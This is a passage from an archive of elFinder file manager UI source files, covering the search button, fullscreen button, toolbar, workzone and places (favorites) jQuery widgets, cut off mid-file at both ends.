							top  : parseInt(nav.scrollTop())+'px',
							left : ltr ? 'auto' : parseInt(nav.scrollRight() -  offset) * -1,
							right: ltr ? parseInt(nav.scrollLeft() - offset) * -1 : 'auto'
						});
						if (e.type === 'resize') {
							fm.getUI('cwd').trigger('resize');
						}
					}));
				})
				.children('.ui-resizable-handle').addClass('ui-front');
		}

		if (setWidth = fm.storage('navbarWidth')) {
			nav.width(setWidth);
		} else {
			if (fm.UA.Mobile) {
				fm.one(fm.cssloaded? 'init' : 'cssloaded', function() {
					var set = function() {
						setWidth = nav.parent().width() / 2;
						if (nav.data('defWidth') > setWidth) {
							nav.width(setWidth);
						} else {
							nav.width(nav.data('defWidth'));
						}
						nav.data('width', nav.width());
						fm.trigger('wzresize');
					};
					nav.data('defWidth', nav.width());
					jQuery(window).on('resize.' + fm.namespace, set);
					set();
				});
			}
		}

	});
	
	return this;
};
searchbutton.js000066600000024057151754206170007627 0ustar00/**
 * @class  elFinder toolbar search button widget.
 *
 * @author Dmitry (dio) Levashov
 **/
jQuery.fn.elfindersearchbutton = function(cmd) {
	"use strict";
	return this.each(function() {
		var result = false,
			fm     = cmd.fm,
			disabled = fm.res('class', 'disabled'),
			isopts = cmd.options.incsearch || { enable: false },
			sTypes = cmd.options.searchTypes,
			id     = function(name){return fm.namespace + fm.escape(name);},
			toolbar= fm.getUI('toolbar'),
			btnCls = fm.res('class', 'searchbtn'),
			button = jQuery(this)
				.hide()
				.addClass('ui-widget-content elfinder-button '+btnCls)
				.on('click', function(e) {
					e.stopPropagation();
				}),
			getMenuOffset = function() {
				var fmNode = fm.getUI(),
					baseOffset = fmNode.offset(),
					buttonOffset = button.offset();
				return {
					top : buttonOffset.top - baseOffset.top,
					maxHeight : fmNode.height() - 40
				};
			},
			search = function() {
				input.data('inctm') && clearTimeout(input.data('inctm'));
				var val = jQuery.trim(input.val()),
					from = !jQuery('#' + id('SearchFromAll')).prop('checked'),
					mime = jQuery('#' + id('SearchMime')).prop('checked'),
					type = '';
				if (from) {
					if (jQuery('#' + id('SearchFromVol')).prop('checked')) {
						from = fm.root(fm.cwd().hash);
					} else {
						from = fm.cwd().hash;
					}
				}
				if (mime) {
					mime = val;
					val = '.';
				}
				if (typeSet) {
					type = typeSet.children('input:checked').val();
				}
				if (val) {
					input.trigger('focus');
					cmd.exec(val, from, mime, type).done(function() {
						result = true;
					}).fail(function() {
						abort();
					});
					
				} else {
					fm.trigger('searchend');
				}
			},
			abort = function() {
				input.data('inctm') && clearTimeout(input.data('inctm'));
				input.val('').trigger('blur');
				if (result || incVal) {
					result = false;
					incVal = '';
					fm.lazy(function() {
						fm.trigger('searchend');
					});
				}
			},
			incVal = '',
			input  = jQuery('<input type="text" size="42"/>')
				.on('focus', function() {
					// close other menus
					!button.hasClass('ui-state-active') && fm.getUI().click();
					inFocus = true;
					incVal = '';
					button.addClass('ui-state-active');
					fm.trigger('uiresize');
					opts && opts.css(getMenuOffset()).slideDown(function() {
						// Care for on browser window re-active
						button.addClass('ui-state-active');
						fm.toFront(opts);
					});
				})
				.on('blur', function() {
					inFocus = false;
					if (opts) {
						if (!opts.data('infocus')) {
							opts.slideUp(function() {
								button.removeClass('ui-state-active');
								fm.trigger('uiresize');
								fm.toHide(opts);
							});
						} else {
							opts.data('infocus', false);
						}
					} else {
						button.removeClass('ui-state-active');
					}
				})
				.appendTo(button)
				// to avoid fm shortcuts on arrows
				.on('keypress', function(e) {
					e.stopPropagation();
				})
				.on('keydown', function(e) {
					e.stopPropagation();
					if (e.keyCode === jQuery.ui.keyCode.ENTER) {
						search();
					} else if (e.keyCode === jQuery.ui.keyCode.ESCAPE) {
						e.preventDefault();
						abort();
					}
				}),
			opts, typeSet, cwdReady, inFocus;
		
		if (isopts.enable) {
			isopts.minlen = isopts.minlen || 2;
			isopts.wait = isopts.wait || 500;
			input
				.attr('title', fm.i18n('incSearchOnly'))
				.on('compositionstart', function() {
					input.data('composing', true);
				})
				.on('compositionend', function() {
					input.removeData('composing');
					input.trigger('input'); // for IE, edge
				})
				.on('input', function() {
					if (! input.data('composing')) {
						input.data('inctm') && clearTimeout(input.data('inctm'));
						input.data('inctm', setTimeout(function() {
							var val = input.val();
							if (val.length === 0 || val.length >= isopts.minlen) {
								(incVal !== val) && fm.trigger('incsearchstart', {
									query: val,
									type: typeSet? typeSet.children('input:checked').val() : 'searchName'
								});
								incVal = val;
								if (val === '' && fm.searchStatus.state > 1 && fm.searchStatus.query) {
									input.val(fm.searchStatus.query).trigger('select');
								} 
							}
						}, isopts.wait));
					}
				});
			
			if (fm.UA.ltIE8) {
				input.on('keydown', function(e) {
						if (e.keyCode === 229) {
							input.data('imetm') && clearTimeout(input.data('imetm'));
							input.data('composing', true);
							input.data('imetm', setTimeout(function() {
								input.removeData('composing');
							}, 100));
						}
					})
					.on('keyup', function(e) {
						input.data('imetm') && clearTimeout(input.data('imetm'));
						if (input.data('composing')) {
							e.keyCode === jQuery.ui.keyCode.ENTER && input.trigger('compositionend');
						} else {
							input.trigger('input');
						}
					});
			}
		}
		
		jQuery('<span class="ui-icon ui-icon-search" title="'+cmd.title+'"></span>')
			.appendTo(button)
			.on('mousedown', function(e) {
				e.stopPropagation();
				e.preventDefault();
				if (button.hasClass('ui-state-active')) {
					search();
				} else {
					input.trigger('focus');
				}
			});
		
		jQuery('<span class="ui-icon ui-icon-close"></span>')
			.appendTo(button)
			.on('mousedown', function(e) {
				e.stopPropagation();
				e.preventDefault();
				if (input.val() === '' && !button.hasClass('ui-state-active')) {
					input.trigger('focus');
				} else {
					abort();
				}
			});
		
		// wait when button will be added to DOM
		fm.bind('toolbarload', function(){
			var parent = button.parent();
			if (parent.length) {
				toolbar.prepend(button.show());
				parent.remove();
				// position icons for ie7
				if (fm.UA.ltIE7) {
					var icon = button.children(fm.direction == 'ltr' ? '.ui-icon-close' : '.ui-icon-search');
					icon.css({
						right : '',
						left  : parseInt(button.width())-icon.outerWidth(true)
					});
				}
			}
		});
		
		fm
			.one('init', function() {
				fm.getUI('cwd').on('touchstart click', function() {
					inFocus && input.trigger('blur');
				});
			})
			.one('open', function() {
				opts = (fm.api < 2.1)? null : jQuery('<div class="ui-front ui-widget ui-widget-content elfinder-button-menu elfinder-button-search-menu ui-corner-all"></div>')
					.append(
						jQuery('<div class="buttonset"></div>')
							.append(
								jQuery('<input id="'+id('SearchFromCwd')+'" name="serchfrom" type="radio" checked="checked"/><label for="'+id('SearchFromCwd')+'">'+fm.i18n('btnCwd')+'</label>'),
								jQuery('<input id="'+id('SearchFromVol')+'" name="serchfrom" type="radio"/><label for="'+id('SearchFromVol')+'">'+fm.i18n('btnVolume')+'</label>'),
								jQuery('<input id="'+id('SearchFromAll')+'" name="serchfrom" type="radio"/><label for="'+id('SearchFromAll')+'">'+fm.i18n('btnAll')+'</label>')
							),
						jQuery('<div class="buttonset elfinder-search-type"></div>')
							.append(
								jQuery('<input id="'+id('SearchName')+'" name="serchcol" type="radio" checked="checked" value="SearchName"/><label for="'+id('SearchName')+'">'+fm.i18n('btnFileName')+'</label>')
							)
					)
					.hide()
					.appendTo(fm.getUI());
				if (opts) {
					if (sTypes) {
						typeSet = opts.find('.elfinder-search-type');
						jQuery.each(cmd.options.searchTypes, function(i, v) {
							typeSet.append(jQuery('<input id="'+id(i)+'" name="serchcol" type="radio" value="'+fm.escape(i)+'"/><label for="'+id(i)+'">'+fm.i18n(v.name)+'</label>'));
						});
					}
					opts.find('div.buttonset').buttonset();
					jQuery('#'+id('SearchFromAll')).next('label').attr('title', fm.i18n('searchTarget', fm.i18n('btnAll')));
					if (sTypes) {
						jQuery.each(sTypes, function(i, v) {
							if (v.title) {
								jQuery('#'+id(i)).next('label').attr('title', fm.i18n(v.title));
							}
						});
					}
					opts.on('mousedown', 'div.buttonset', function(e){
							e.stopPropagation();
							opts.data('infocus', true);
						})
						.on('click', 'input', function(e) {
							e.stopPropagation();
							jQuery.trim(input.val())? search() : input.trigger('focus');
						})
						.on('close', function() {
							input.trigger('blur');
						});
				}
			})
			.bind('searchend', function() {
				input.val('');
			})
			.bind('open parents', function() {
				var dirs    = [],
					volroot = fm.file(fm.root(fm.cwd().hash));
				
				if (volroot) {
					jQuery.each(fm.parents(fm.cwd().hash), function(i, hash) {
						dirs.push(fm.file(hash).name);
					});
		
					jQuery('#'+id('SearchFromCwd')).next('label').attr('title', fm.i18n('searchTarget', dirs.join(fm.option('separator'))));
					jQuery('#'+id('SearchFromVol')).next('label').attr('title', fm.i18n('searchTarget', volroot.name));
				}
			})
			.bind('open', function() {
				incVal && abort();
			})
			.bind('cwdinit', function() {
				cwdReady = false;
			})
			.bind('cwdrender',function() {
				cwdReady = true;
			})
			.bind('keydownEsc', function() {
				if (incVal && incVal.substr(0, 1) === '/') {
					incVal = '';
					input.val('');
					fm.trigger('searchend');
				}
			})
			.shortcut({
				pattern     : 'ctrl+f f3',
				description : cmd.title,
				callback    : function() { 
					input.trigger('select').trigger('focus');
				}
			})
			.shortcut({
				pattern     : 'a b c d e f g h i j k l m n o p q r s t u v w x y z dig0 dig1 dig2 dig3 dig4 dig5 dig6 dig7 dig8 dig9 num0 num1 num2 num3 num4 num5 num6 num7 num8 num9',
				description : fm.i18n('firstLetterSearch'),
				callback    : function(e) { 
					if (! cwdReady) { return; }
					
					var code = e.originalEvent.keyCode,
						next = function() {
							var sel = fm.selected(),
								key = jQuery.ui.keyCode[(!sel.length || fm.cwdHash2Elm(sel[0]).next('[id]').length)? 'RIGHT' : 'HOME'];
							jQuery(document).trigger(jQuery.Event('keydown', { keyCode: key, ctrlKey : false, shiftKey : false, altKey : false, metaKey : false }));
						},
						val;
					if (code >= 96 && code <= 105) {
						code -= 48;
					}
					val = '/' + String.fromCharCode(code);
					if (incVal !== val) {
						input.val(val);
						incVal = val;
						fm
							.trigger('incsearchstart', { query: val })
							.one('cwdrender', next);
					} else{
						next();
					}
				}
			});

	});
};
fullscreenbutton.js000066600000001172151754206170010515 0ustar00/**
 * @class  elFinder toolbar button to switch full scrren mode.
 *
 * @author Naoki Sawada
 **/

jQuery.fn.elfinderfullscreenbutton = function(cmd) {
	"use strict";
	return this.each(function() {
		var button = jQuery(this).elfinderbutton(cmd),
			icon   = button.children('.elfinder-button-icon'),
			tm;
		cmd.change(function() {
			tm && cancelAnimationFrame(tm);
			tm = requestAnimationFrame(function() {
				var fullscreen = cmd.value;
				icon.addClass('elfinder-button-icon-fullscreen').toggleClass('elfinder-button-icon-unfullscreen', fullscreen);
				cmd.className = fullscreen? 'unfullscreen' : '';
			});
		});
	});
};
toolbar.js000066600000023562151754206170006570 0ustar00/**
 * @class  elFinder toolbar
 *
 * @author Dmitry (dio) Levashov
 **/
jQuery.fn.elfindertoolbar = function(fm, opts) {
	"use strict";
	this.not('.elfinder-toolbar').each(function() {
		var commands = fm._commands,
			self     = jQuery(this).addClass('ui-helper-clearfix ui-widget-header elfinder-toolbar'),
			options  = {
				// default options
				displayTextLabel: false,
				labelExcludeUA: ['Mobile'],
				autoHideUA: ['Mobile'],
				showPreferenceButton: 'none'
			},
			filter   = function(opts) {
				return jQuery.grep(opts, function(v) {
					if (jQuery.isPlainObject(v)) {
						options = Object.assign(options, v);
						return false;
					}
					return true;
				});
			},
			render = function(disabled){
				var name,cmdPref;
				
				jQuery.each(buttons, function(i, b) { b.detach(); });
				self.empty();
				l = panels.length;
				while (l--) {
					if (panels[l]) {
						panel = jQuery('<div class="ui-widget-content ui-corner-all elfinder-buttonset"></div>');
						i = panels[l].length;
						while (i--) {
							name = panels[l][i];
							if ((!disabled || !disabled[name]) && (cmd = commands[name])) {
								button = 'elfinder'+cmd.options.ui;
								if (! buttons[name] && jQuery.fn[button]) {
									buttons[name] = jQuery('<div></div>')[button](cmd);
								}
								if (buttons[name]) {
									buttons[name].children('.elfinder-button-text')[textLabel? 'show' : 'hide']();
									panel.prepend(buttons[name]);
								}
							}
						}
						
						panel.children().length && self.prepend(panel);
						panel.children(':gt(0)').before('<span class="ui-widget-content elfinder-toolbar-button-separator"></span>');

					}
				}
				
				if (cmdPref = commands['preference']) {
					//cmdPref.state = !self.children().length? 0 : -1;
					if (options.showPreferenceButton === 'always' || (!self.children().length && options.showPreferenceButton === 'auto')) {
						//cmdPref.state = 0;
						panel = jQuery('<div class="ui-widget-content ui-corner-all elfinder-buttonset"></div>');
						name = 'preference';
						button = 'elfinder'+cmd.options.ui;
						buttons[name] = jQuery('<div></div>')[button](cmdPref);
						buttons[name].children('.elfinder-button-text')[textLabel? 'show' : 'hide']();
						panel.prepend(buttons[name]);
						self.append(panel);
					}
				}
				
				(! self.data('swipeClose') && self.children().length)? self.show() : self.hide();
				prevHeight = self[0].clientHeight;
				fm.trigger('toolbarload').trigger('uiresize');
			},
			buttons = {},
			panels   = filter(opts || []),
			dispre   = null,
			uiCmdMapPrev = '',
			prevHeight = 0,
			contextRaw = [],
			l, i, cmd, panel, button, swipeHandle, autoHide, textLabel, resizeTm;
		
		// normalize options
		options.showPreferenceButton = options.showPreferenceButton.toLowerCase();
		
		if (options.displayTextLabel !== 'none') {
			// correction of options.displayTextLabel
			textLabel = fm.storage('toolbarTextLabel');
			if (textLabel === null) {
				textLabel = (options.displayTextLabel && (! options.labelExcludeUA || ! options.labelExcludeUA.length || ! jQuery.grep(options.labelExcludeUA, function(v){ return fm.UA[v]? true : false; }).length));
			} else {
				textLabel = (textLabel == 1);
			}
			contextRaw.push({
				label    : fm.i18n('textLabel'),
				icon     : 'text',
				callback : function() {
					textLabel = ! textLabel;
					self.css('height', '').find('.elfinder-button-text')[textLabel? 'show':'hide']();
					fm.trigger('uiresize').storage('toolbarTextLabel', textLabel? '1' : '0');
				},
			});
		}

		if (options.preferenceInContextmenu && commands['preference']) {
			contextRaw.push({
				label    : fm.i18n('toolbarPref'),
				icon     : 'preference',
				callback : function() {
					fm.exec('preference', void(0), {tab: 'toolbar'});
				}
			});
		}

		// add contextmenu
		if (contextRaw.length) {
			self.on('contextmenu', function(e) {
					e.stopPropagation();
					e.preventDefault();
					fm.trigger('contextmenu', {
						raw: contextRaw,
						x: e.pageX,
						y: e.pageY
					});
				}).on('touchstart', function(e) {
					if (e.originalEvent.touches.length > 1) {
						return;
					}
					self.data('tmlongtap') && clearTimeout(self.data('tmlongtap'));
					self.removeData('longtap')
						.data('longtap', {x: e.originalEvent.touches[0].pageX, y: e.originalEvent.touches[0].pageY})
						.data('tmlongtap', setTimeout(function() {
							self.removeData('longtapTm')
								.trigger({
									type: 'contextmenu',
									pageX: self.data('longtap').x,
									pageY: self.data('longtap').y
								})
								.data('longtap', {longtap: true});
						}, 500));
				}).on('touchmove touchend', function(e) {
					if (self.data('tmlongtap')) {
						if (e.type === 'touchend' ||
								( Math.abs(self.data('longtap').x - e.originalEvent.touches[0].pageX)
								+ Math.abs(self.data('longtap').y - e.originalEvent.touches[0].pageY)) > 4)
						clearTimeout(self.data('tmlongtap'));
						self.removeData('longtapTm');
					}
				}).on('click', function(e) {
					if (self.data('longtap') && self.data('longtap').longtap) {
						e.stopImmediatePropagation();
						e.preventDefault();
					}
				}).on('touchend click', '.elfinder-button', function(e) {
					if (self.data('longtap') && self.data('longtap').longtap) {
						e.stopImmediatePropagation();
						e.preventDefault();
					}
				}
			);
		}

		self.prev().length && self.parent().prepend(this);
		
		render();
		
		fm.bind('open sync select toolbarpref', function() {
			var disabled = Object.assign({}, fm.option('disabledFlip')),
				userHides = fm.storage('toolbarhides'),
				doRender, sel, disabledKeys;
			
			if (! userHides && Array.isArray(options.defaultHides)) {
				userHides = {};
				jQuery.each(options.defaultHides, function() {
					userHides[this] = true;
				});
				fm.storage('toolbarhides', userHides);
			}
			if (this.type === 'select') {
				if (fm.searchStatus.state < 2) {
					return;
				}
				sel = fm.selected();
				if (sel.length) {
					disabled = fm.getDisabledCmds(sel, true);
				}
			}
			
			jQuery.each(userHides, function(n) {
				if (!disabled[n]) {
					disabled[n] = true;
				}
			});
			
			if (Object.keys(fm.commandMap).length) {
				jQuery.each(fm.commandMap, function(from, to){
					if (to === 'hidden') {
						disabled[from] = true;
					}
				});
			}
			
			disabledKeys = Object.keys(disabled);
			if (!dispre || dispre.toString() !== disabledKeys.sort().toString()) {
				render(disabledKeys.length? disabled : null);
				doRender = true;
			}
			dispre = disabledKeys.sort();

			if (doRender || uiCmdMapPrev !== JSON.stringify(fm.commandMap)) {
				uiCmdMapPrev = JSON.stringify(fm.commandMap);
				if (! doRender) {
					// reset toolbar
					jQuery.each(jQuery('div.elfinder-button'), function(){
						var origin = jQuery(this).data('origin');
						if (origin) {
							jQuery(this).after(origin).detach();
						}
					});
				}
				if (Object.keys(fm.commandMap).length) {
					jQuery.each(fm.commandMap, function(from, to){
						var cmd = fm._commands[to],
							button = cmd? 'elfinder'+cmd.options.ui : null,
							btn;
						if (button && jQuery.fn[button]) {
							btn = buttons[from];
							if (btn) {
								if (! buttons[to] && jQuery.fn[button]) {
									buttons[to] = jQuery('<div></div>')[button](cmd);
									if (buttons[to]) {
										buttons[to].children('.elfinder-button-text')[textLabel? 'show' : 'hide']();
										if (cmd.extendsCmd) {
											buttons[to].children('span.elfinder-button-icon').addClass('elfinder-button-icon-' + cmd.extendsCmd);
										}
									}
								}
								if (buttons[to]) {
									btn.after(buttons[to]);
									buttons[to].data('origin', btn.detach());
								}
							}
						}
					});
				}
			}
		}).bind('resize', function(e) {
			resizeTm && cancelAnimationFrame(resizeTm);
			resizeTm = requestAnimationFrame(function() {
				var h = self[0].clientHeight;
				if (prevHeight !== h) {
					prevHeight = h;
					fm.trigger('uiresize');
				}
			});
		});
		
		if (fm.UA.Touch) {
			autoHide = fm.storage('autoHide') || {};
			if (typeof autoHide.toolbar === 'undefined') {
				autoHide.toolbar = (options.autoHideUA && options.autoHideUA.length > 0 && jQuery.grep(options.autoHideUA, function(v){ return fm.UA[v]? true : false; }).length);
				fm.storage('autoHide', autoHide);
			}
			
			if (autoHide.toolbar) {
				fm.one('init', function() {
					fm.uiAutoHide.push(function(){ self.stop(true, true).trigger('toggle', { duration: 500, init: true }); });
				});
			}
			
			fm.bind('load', function() {
				swipeHandle = jQuery('<div class="elfinder-toolbar-swipe-handle"></div>').hide().appendTo(fm.getUI());
				if (swipeHandle.css('pointer-events') !== 'none') {
					swipeHandle.remove();
					swipeHandle = null;
				}
			});
			
			self.on('toggle', function(e, data) {
				var wz    = fm.getUI('workzone'),
					toshow= self.is(':hidden'),
					wzh   = wz.height(),
					h     = self.height(),
					tbh   = self.outerHeight(true),
					delta = tbh - h,
					opt   = Object.assign({
						step: function(now) {
							wz.height(wzh + (toshow? (now + delta) * -1 : h - now));
							fm.trigger('resize');
						},
						always: function() {
							requestAnimationFrame(function() {
								self.css('height', '');
								fm.trigger('uiresize');
								if (swipeHandle) {
									if (toshow) {
										swipeHandle.stop(true, true).hide();
									} else {
										swipeHandle.height(data.handleH? data.handleH : '');
										fm.resources.blink(swipeHandle, 'slowonce');
									}
								}
								toshow && self.scrollTop('0px');
								data.init && fm.trigger('uiautohide');
							});
						}
					}, data);
				self.data('swipeClose', ! toshow).stop(true, true).animate({height : 'toggle'}, opt);
				autoHide.toolbar = !toshow;
				fm.storage('autoHide', Object.assign(fm.storage('autoHide'), {toolbar: autoHide.toolbar}));
			}).on('touchstart', function(e) {
				if (self.scrollBottom() > 5) {
					e.originalEvent._preventSwipeY = true;
				}
			});
		}
	});
	
	return this;
};
workzone.js000066600000002657151754206170007006 0ustar00/**
 * @class elfinderworkzone - elFinder container for nav and current directory
 * @author Dmitry (dio) Levashov
 **/
jQuery.fn.elfinderworkzone = function(fm) {
	"use strict";
	var cl = 'elfinder-workzone';
	
	this.not('.'+cl).each(function() {
		var wz     = jQuery(this).addClass(cl),
			prevH  = Math.round(wz.height()),
			parent = wz.parent(),
			setDelta = function() {
				wdelta = wz.outerHeight(true) - wz.height();
			},
			fitsize = function(e) {
				var height = parent.height() - wdelta,
					style  = parent.attr('style'),
					curH   = Math.round(wz.height());
	
				if (e) {
					e.preventDefault();
					e.stopPropagation();
				}
				
				parent.css('overflow', 'hidden')
					.children(':visible:not(.'+cl+')').each(function() {
						var ch = jQuery(this);
		
						if (ch.css('position') != 'absolute' && ch.css('position') != 'fixed') {
							height -= ch.outerHeight(true);
						}
					});
				parent.attr('style', style || '');
				
				height = Math.max(0, Math.round(height));
				if (prevH !== height || curH !== height) {
					prevH  = Math.round(wz.height());
					wz.height(height);
					fm.trigger('wzresize');
				}
			},
			cssloaded = function() {
				wdelta = wz.outerHeight(true) - wz.height();
				fitsize();
			},
			wdelta;
		
		setDelta();
		parent.on('resize.' + fm.namespace, fitsize);
		fm.one('cssloaded', cssloaded)
		  .bind('uiresize', fitsize)
		  .bind('themechange', setDelta);
	});
	return this;
};
places.js000066600000040317151754206170006372 0ustar00/**
 * @class elFinder places/favorites ui
 *
 * @author Dmitry (dio) Levashov
 * @author Naoki Sawada
 **/
jQuery.fn.elfinderplaces = function(fm, opts) {
	"use strict";
	return this.each(function() {
		var dirs      = {},
			c         = 'class',
			navdir    = fm.res(c, 'navdir'),
			collapsed = fm.res(c, 'navcollapse'),
			expanded  = fm.res(c, 'navexpand'),
			hover     = fm.res(c, 'hover'),
			clroot    = fm.res(c, 'treeroot'),
			dropover  = fm.res(c, 'adroppable'),
			tpl       = fm.res('tpl', 'placedir'),
			ptpl      = fm.res('tpl', 'perms'),
			spinner   = jQuery(fm.res('tpl', 'navspinner')),
			suffix    = opts.suffix? opts.suffix : '',
			key       = 'places' + suffix,
			menuTimer = null,
			/**
			 * Convert places dir node into dir hash
			 *
			 * @param  String  directory id
			 * @return String
			 **/
			id2hash   = function(id) { return id.substr(6);	},
			/**
			 * Convert places dir hash into dir node id
			 *
			 * @param  String  directory id
			 * @return String
			 **/
			hash2id   = function(hash) { return 'place-'+hash; },

			/**
			 * Convert places dir hash into dir node elment (jQuery object)
			 *
			 * @param  String  directory id
			 * @return Object
			 **/
			hash2elm  = function(hash) { return jQuery(document.getElementById(hash2id(hash))); },
			
			/**
			 * Save current places state
			 *
			 * @return void
			 **/
			save      = function() {
				var hashes = [], data = {};
				
				hashes = jQuery.map(subtree.children().find('[id]'), function(n) {
					return id2hash(n.id);
				});
				if (hashes.length) {
					jQuery.each(hashes.reverse(), function(i, h) {
						data[h] = dirs[h];
					});
				} else {
					data = null;
				}
				
				fm.storage(key, data);
			},
			/**
			 * Init dir at places
			 *
			 * @return void
			 **/
			init = function() {
				var dat, hashes;
				key = 'places'+(opts.suffix? opts.suffix : ''),
				dirs = {};
				dat = fm.storage(key);
				if (typeof dat === 'string') {
					// old data type elFinder <= 2.1.12
					dat = jQuery.grep(dat.split(','), function(hash) { return hash? true : false;});
					jQuery.each(dat, function(i, d) {
						var dir = d.split('#');
						dirs[dir[0]] = dir[1]? dir[1] : dir[0];
					});
				} else if (jQuery.isPlainObject(dat)) {
					dirs = dat;
				}
				// allow modify `dirs`
				/**
				 * example for preset places
				 * 
				 * elfinderInstance.bind('placesload', function(e, fm) {
				 * 	//if (fm.storage(e.data.storageKey) === null) { // for first time only
				 * 	if (!fm.storage(e.data.storageKey)) {           // for empty places
				 * 		e.data.dirs[targetHash] = fallbackName;     // preset folder
				 * 	}
				 * }
				 **/
				fm.trigger('placesload', {dirs: dirs, storageKey: key}, true);
				
				hashes = Object.keys(dirs);
				if (hashes.length) {
					root.prepend(spinner);
					
					fm.request({
						data : {cmd : 'info', targets : hashes},
						preventDefault : true
					})
					.done(function(data) {
						var exists = {};
						
						data.files && data.files.length && fm.cache(data.files);
						
						jQuery.each(data.files, function(i, f) {
							var hash = f.hash;
							exists[hash] = f;
						});
						jQuery.each(dirs, function(h, f) {
							add(exists[h] || Object.assign({notfound: true}, f));
						});
						if (fm.storage('placesState') > 0) {
							root.trigger('click');
						}
					})
					.always(function() {
						spinner.remove();
					});
				}
			},
			/**
			 * Return node for given dir object
			 *
			 * @param  Object  directory object
			 * @return jQuery
			 **/
			create    = function(dir, hash) {
				return jQuery(tpl.replace(/\{id\}/, hash2id(dir? dir.hash : hash))
						.replace(/\{name\}/, fm.escape(dir? dir.i18 || dir.name : hash))
						.replace(/\{cssclass\}/, dir? (fm.perms2class(dir) + (dir.notfound? ' elfinder-na' : '') + (dir.csscls? ' '+dir.csscls : '')) : '')
						.replace(/\{permissions\}/, (dir && (!dir.read || !dir.write || dir.notfound))? ptpl : '')
						.replace(/\{title\}/, dir? (' title="' + fm.escape(fm.path(dir.hash, true) || dir.i18 || dir.name) + '"') : '')
						.replace(/\{symlink\}/, '')
						.replace(/\{style\}/, (dir && dir.icon)? fm.getIconStyle(dir) : ''));
			},
			/**
			 * Add new node into places
			 *
			 * @param  Object  directory object
			 * @return void
			 **/
			add = function(dir) {
				var node, hash;

				if (dir.mime !== 'directory') {
					return false;
				}
				hash = dir.hash;
				if (!fm.files().hasOwnProperty(hash)) {
					// update cache
					fm.trigger('tree', {tree: [dir]});
				}
				
				node = create(dir, hash);
				
				dirs[hash] = dir;
				subtree.prepend(node);
				root.addClass(collapsed);
				sortBtn.toggle(subtree.children().length > 1);
				
				return true;
			},
			/**
			 * Remove dir from places
			 *
			 * @param  String  directory hash
			 * @return String  removed name
			 **/
			remove = function(hash) {
				var name = null, tgt, cnt;

				if (dirs[hash]) {
					delete dirs[hash];
					tgt = hash2elm(hash);
					if (tgt.length) {
						name = tgt.text();
						tgt.parent().remove();
						cnt = subtree.children().length;
						sortBtn.toggle(cnt > 1);
						if (! cnt) {
							root.removeClass(collapsed);
							places.removeClass(expanded);
							subtree.slideToggle(false);
						}
					}
				}
				
				return name;
			},
			/**
			 * Move up dir on places
			 *
			 * @param  String  directory hash
			 * @return void
			 **/
			moveup = function(hash) {
				var self = hash2elm(hash),
					tgt  = self.parent(),
					prev = tgt.prev('div'),
					cls  = 'ui-state-hover',
					ctm  = fm.getUI('contextmenu');
				
				menuTimer && clearTimeout(menuTimer);
				
				if (prev.length) {
					ctm.find(':first').data('placesHash', hash);
					self.addClass(cls);
					tgt.insertBefore(prev);
					prev = tgt.prev('div');
					menuTimer = setTimeout(function() {
						self.removeClass(cls);
						if (ctm.find(':first').data('placesHash') === hash) {
							ctm.hide().empty();
						}
					}, 1500);
				}
				
				if(!prev.length) {
					self.removeClass(cls);
					ctm.hide().empty();
				}
			},
			/**
			 * Update dir at places
			 *
			 * @param  Object   directory
			 * @param  String   previous hash
			 * @return Boolean
			 **/
			update = function(dir, preHash) {
				var hash = dir.hash,
					tgt  = hash2elm(preHash || hash),
					node = create(dir, hash);

				if (tgt.length > 0) {
					tgt.parent().replaceWith(node);
					dirs[hash] = dir;
					return true;
				} else {
					return false;
				}
			},
			/**
			 * Remove all dir from places
			 *
			 * @return void
			 **/
			clear = function() {
				subtree.empty();
				root.removeClass(collapsed);
				places.removeClass(expanded);
				subtree.slideToggle(false);
			},
			/**
			 * Sort places dirs A-Z
			 *
			 * @return void
			 **/
			sort = function() {
				jQuery.each(dirs, function(h, f) {
					var dir = fm.file(h) || f,
						node = create(dir, h),
						ret = null;
					if (!dir) {
						node.hide();
					}
					if (subtree.children().length) {
						jQuery.each(subtree.children(), function() {
							var current =  jQuery(this);
							if ((dir.i18 || dir.name).localeCompare(current.children('.'+navdir).text()) < 0) {
								ret = !node.insertBefore(current);
								return ret;
							}
						});
						if (ret !== null) {
							return true;
						}
					}
					!hash2elm(h).length && subtree.append(node);
				});
				save();
			},
			// sort button
			sortBtn = jQuery('<span class="elfinder-button-icon elfinder-button-icon-sort elfinder-places-root-icon" title="'+fm.i18n('cmdsort')+'"></span>')
				.hide()
				.on('click', function(e) {
					e.stopPropagation();
					subtree.empty();
					sort();
				}
			),
			/**
			 * Node - wrapper for places root
			 *
			 * @type jQuery
			 **/
			wrapper = create({
					hash  : 'root-'+fm.namespace, 
					name  : fm.i18n(opts.name, 'places'),
					read  : true,
					write : true
				}),
			/**
			 * Places root node
			 *
			 * @type jQuery
			 **/
			root = wrapper.children('.'+navdir)
				.addClass(clroot)
				.on('click', function(e) {
					e.stopPropagation();
					if (root.hasClass(collapsed)) {
						places.toggleClass(expanded);
						subtree.slideToggle();
						fm.storage('placesState', places.hasClass(expanded)? 1 : 0);
					}
				})
				.append(sortBtn),
			/**
			 * Container for dirs
			 *
			 * @type jQuery
			 **/
			subtree = wrapper.children('.'+fm.res(c, 'navsubtree')),
			
			/**
			 * Main places container
			 *
			 * @type jQuery
			 **/
			places = jQuery(this).addClass(fm.res(c, 'tree')+' elfinder-places ui-corner-all')
				.hide()
				.append(wrapper)
				.appendTo(fm.getUI('navbar'))
				.on('mouseenter mouseleave', '.'+navdir, function(e) {
					jQuery(this).toggleClass('ui-state-hover', (e.type == 'mouseenter'));
				})
				.on('click', '.'+navdir, function(e) {
					var p = jQuery(this);
					if (p.data('longtap')) {
						e.stopPropagation();
						return;
					}
					! p.hasClass('elfinder-na') && fm.exec('open', p.attr('id').substr(6));
				})
				.on('contextmenu', '.'+navdir+':not(.'+clroot+')', function(e) {
					var self = jQuery(this),
						hash = self.attr('id').substr(6);
					
					e.preventDefault();

					fm.trigger('contextmenu', {
						raw : [{
							label    : fm.i18n('moveUp'),
							icon     : 'up',
							remain   : true,
							callback : function() { moveup(hash); save(); }
						},'|',{
							label    : fm.i18n('rmFromPlaces'),
							icon     : 'rm',
							callback : function() { remove(hash); save(); }
						}],
						'x'       : e.pageX,
						'y'       : e.pageY
					});
					
					self.addClass('ui-state-hover');
					
					fm.getUI('contextmenu').children().on('mouseenter', function() {
						self.addClass('ui-state-hover');
					});
					
					fm.bind('closecontextmenu', function() {
						self.removeClass('ui-state-hover');
					});
				})
				.droppable({
					tolerance  : 'pointer',
